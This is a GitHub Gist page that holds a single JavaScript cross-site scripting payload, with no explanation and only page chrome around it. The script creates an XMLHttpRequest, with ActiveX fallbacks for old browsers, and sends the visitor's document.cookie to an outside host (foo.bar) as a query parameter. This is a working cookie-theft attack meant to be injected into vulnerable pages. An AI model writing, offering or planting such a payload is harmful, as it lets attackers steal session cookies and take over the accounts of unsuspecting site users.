Created
April 18, 2016 13:41
-
-
Save LoadLow/788cb9ecb538a031f4330a990e837bee to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
(function() { | |
var ctors = [ | |
function () {return new XMLHttpRequest()}, | |
function () {return new ActiveXObject("Msxml2.XMLHTTP")}, | |
function () {return new ActiveXObject("Msxml3.XMLHTTP")}, | |
function () {return new ActiveXObject("Microsoft.XMLHTTP")} | |
]; | |
var req; | |
for (var i=0;i<ctors.length;i++) { | |
try { req = ctors[i](); } catch (e) { continue; } break; | |
} | |
req.open("GET","http://foo.bar/?c="+escape(document.cookie),false); | |
req.send(null); })(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
lul